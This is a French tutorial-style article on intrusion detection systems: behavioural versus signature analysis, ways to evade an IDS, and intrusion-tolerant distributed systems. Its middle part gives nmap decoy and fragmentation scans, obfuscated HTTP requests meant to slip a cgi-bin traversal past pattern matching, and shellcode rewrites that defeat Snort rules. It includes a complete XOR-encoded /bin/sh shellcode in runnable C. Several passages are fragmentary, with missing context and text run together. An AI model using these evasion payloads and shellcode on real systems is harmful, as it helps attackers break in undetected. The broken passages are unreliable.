L'approche comportementale consiste à analyser si un utilisateur a eu un comportement anormal par rapport à son habitude. Par exemple, la secrétaire qui se connecte la nuit à certaines heures, en plus de la journée serait pour l'IDS un comportement inhabituel. Il se base pour cela sur un modèle statistique : des variables seront définies (ici la plage horaire des connections de la secrétaire par jour), et représenteront le profil type (comportement normal) d'un utilisateur. Des recherches sont faites aujourd'hui pour appliquer cette approche sur les réseaux de neurones. La technique est de leur apprendre le comportement normal de l'utilisateur.
Contrairement à l'approche comportementale qui est une analyse plutot aléatoire, l'approche par scénarios nécessite une base de données d'attaques, plus exactement des signatures d'attaques, pour effectuer l'analyse. Une comparaison de ces signatures avec les paquets que l'IDS capture concluera s'il y a eu oui ou non intrusion. C'est ce qui s'appelle le 'pattern matching'.
Chacune de ces approches a ses avantages et ses inconvénients. L'approche comportementale permet de détecter des attaques inconnues (meme s'il est difficile d'établir des profils). Elle ne nécessite pas non plus de construction de base d'attaques, et donc d'un suivi de cette base, mais peut-etre victime de faux positifs : l'IDS détecte des attaques qui n'en sont pas (le cote aléatoire de la méthode). Nous verrons plus loin comment se servir de ce défaut pour passer au travers d'un IDS. Pour l'approche par scénarios, c'est l'inverse. L'IDS se base sur des attaques connues pour effectuer son analyse, mais il est difficile de maintenir cette base de signatures.
$nmap -sS -D11.11.11.11,[mon adresse],22.22.22.22 -O -p25 localhost
Exemple toujours avec nmap :
$nmap -f -sS -F -O localhostFragrouter disponible à l'url http://www.anzen.com/research/nidsbench permet aussi cette attaque.
Le principe meme de ces techniques est de lancer les attaques sous une forme différente de celles référencées dans la base de signatures des IDS. Les requetes HTTP ne seront alors pas "matchées" (au sens pattern matching que nous avons vu précédemment). Il rend complexe ces attaques afin que les IDS ne puissent pas les détectent. Il est important aussi de savoir que les techniques suivantes peuvent etre combinées ensemble, selon le système attaqué.
HEAD /%20HTTP/1.0%0d%0aHeader:%20/../../cgi-bin/some.cgi HTTP/1.0\r\n\r\nqui est l'equivalent de :
HEAD / HTTP/1.0\r\nHeader: /../../cgi-bin/some.cgi HTTP/1.0\r\n\r\nCette URL est valide. L'IDS analyse la première partie de l'URL et s'arréte au premier HTTP/1.0\r\n. Le reste de la requete qui représente notre attaque passe l'IDS sans etre analysée.
HEAD /abcabcLe répertoire 'abcabcabcabc/../cgi-bin/some.cgi HTTP/1.0
HEAD%00 /cgi-bin/some.cgi HTTP/1.0En analysant cette chaine de caractères, l'IDS s'arrete au moment où il atteind le caractère NULL. La suite de l'URL n'est pas analysée.
Nous savons que les attaques de type buffer overflow utilisent une
série de NOP (0x90 sur plate-forme x86). Nous trouvons généralement
dans un exploit, la séquence:
for(i=0;i<(LEN-strlen(shellcode));i++){ *(bof+i) = 0x90; }Le principe dans la détection est donc le suivant : il analyse le trafic, regarde s'il voit passer une série de caractères "0x90" et agit en conséquence.
Voici un exemple de règle de Snort:
[rules] alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"EXPLOIT x86 NOOP"; content:"|9090 9090 9090 9090 9090 9090 9090 9090|"; reference:arachnids,181;)Avant de continuer, je précise que Snort est un IDS très connu sous licence GPL que vous pouvez trouver a l'URL : http://www.snort.org.
Le but ici, est de trouver une instruction équivalente aux NOPs afin de rendre notre attaque indétectable. Il suffit de remplacer 0x90 par 0x41:
for(i=0;i<(LEN-strlen(shellcode));i++){ *(bof+i) = 0x41; }Pourquoi '0x41' ? Cette instruction '0x41' (équivalente à la lettre 'A' en ascii) représente en assembleur 'inc %ecx' (elle incrémente de 1 la valeur du registre %ecx). Quelque soit la valeur de %ecx, cette instruction n'a aucune importance dans le contexte de l'exploit. Elle a donc les memes avantages que l'instruction NOP : codée sur un octet et ne faisant rien.
Un exemple de règle toujours avec Snort:
[rule] alert tcp $EXTERNAL_NET any -> $HOME_NET 515 (msg:"EXPLOIT LPRng overflow"; flags: A+; content: "/43 07 89 5B 08 8D 4B 08 89 43 0C B0 0B CD 80 31 C0 FE C0 CD 80 E8 94 FF FF FF 2F 62 69 6E 2F 73 68/"; reference:bugtraq,1712;)Snort analyse donc le traffic et recherche la chaine du shellcode. Elle correspond à une partie du shellcode de l'exploit rdC-LPRng.c (LPRng-3.6.24-1) :
"\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0" "\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x94\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68"La technique est simple: si nous modifions ou changeons le shellcode de l'exploit, l'IDS (dans notre cas Snort) ne détecte plus l'attaque.
Par exemple, l'instruction :
xorl %eax,%eax \x31\xc0qui met a NULL le registre %eax peut aussi s'écrire :
subl %eax,%eax \x29\xc0Il arrive aussi que l'IDS cherche à détecter la chaine de caractères /bin/sh. Pour passer au travers de cette détection, une des methodes est de crypter par un simple XOR cette chaine et le shellcode la décrypte ensuite au moment ou il s'execute. Voici un exemple de shellcode :
/* * Linux/x86 * * décrypte /bin/sh ( XOR ) avec une cle = 'X' * execve() de /bin/sh et exit() * * Samuel Dralet (samuel.dralet@mastersecurity.fr) */ /* Code asm */ /* int main() { asm("jmp foo bar: popl %ebx movl $0x58585858,%edx xor %edx,(%ebx) //pour récupérer "/bin" xor %edx,4(%eb) //pour récupérer "/sh" xor %edx,%edx movl %ebx,0x8(%esp) movl %edx,0xc(%esp) subl %eax,%eax movb $0xb,%al leal 0x8(%esp),%ecx int $0x80 subl %eax,%eax incl %eax int $0x80 foo: call bar .string \"\\x77\\x3a\\x31\\x36\\x77\\x2b\\x30\\x58\" "); } */ char blah[]= "\xeb\x24\x5b\xba\x58\x58\x58\x58\x31\x13\x31\x53\x04\x31\xd2\x89" "\x5c\x24\x08\x89\x54\x24\x0c\x29\xc0\xb0\x0b\x8d\x4c\x24\x08\xcd\x80\x29" "\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff" "\x77\x3a\x31\x36\x77\x2b\x30\x58"; int main() { int (*funct)(); funct = (int (*)()) blah; (int)(*funct)(); }Le principe de ce shellcode est de décrypter la chaine /bin/sh qui est représentée par '.string \"\\x77\\x3a\\x31\\x36\\x77\\x2b\\x30\\x58\"' avec la clé "X" représentée par 'movl $0x58585858,%edx'. Il passe ensuite la chaine "/bin/sh" en argument à execve().
Récemment, K2 a presenté son outil ADMutate au CanSecWest.
Il utilise justement ces techniques anti-IDS au niveau des attaques de
type buffer overflow mais en utilisant le polymorphisme pour créer
les shellcodes, technique qu'il a empreinté aux virus. C'est à
dire que son shellcode est capable de se modifier tout seul. Il est donc
plus difficile à détecter. Vous pouvez trouver cet outil
à l'url : ftp://adm.freelsd.net/ADM/ADMmutate-0.7.3.tar.gz
"An intrusion-tolerant distributed system is a system which is designed so that any intrusion into a part of the system will not endanger confidentiality, integrity and availability".
"Un système distribué à tolérance d'intrusions est un système dont le but est de ne pas mettre en danger la confidentialité , l'intégrité et la disponibilité en cas d'intrusion dans une partie du système".
Pour etre plus clair, le concept de tolérance d'intrusion peut etre utilisé sur des systèmes distribués de par leur nature à distribuer, répartir de l'information à plusieurs endroits géographiques. Donc, si nous considérons que notre information sensible est répartie sur plusieurs sites, un pirate meme s'il a réussi à s'introduire sur une partie de notre système ne pourra récupérer qu'une partie de l'information sans aucune signification pour lui.
Mais de quelle manière est implémenté ce concept de tolérance d'intrusion ?
A cette tolérance d'intrusions, nous ajoutons la tolérance de destruction des informations grace à une redondance des fragments. Plusieurs copies de chaque fragment sont archivées sur plusieurs sites différents. Une disponibilité de l'information est donc assurée.
Figure 1. Fragmentation-redundancy-scattering sur un fichier
Cette technique fournit donc tous les services nécessaires à la sécurité de l'information, et semble etre une bonne alternative aux systèmes de détection d'intrusion.
Si vous voulez avoir plus de renseignements, notamment les caractéristiques des différents sites d'un système distribué à tolérance d'intrusions, je vous conseille de lire les deux documents en référence de Yves Deswarte, Laurent Blain, et Jean-Charles Fabre.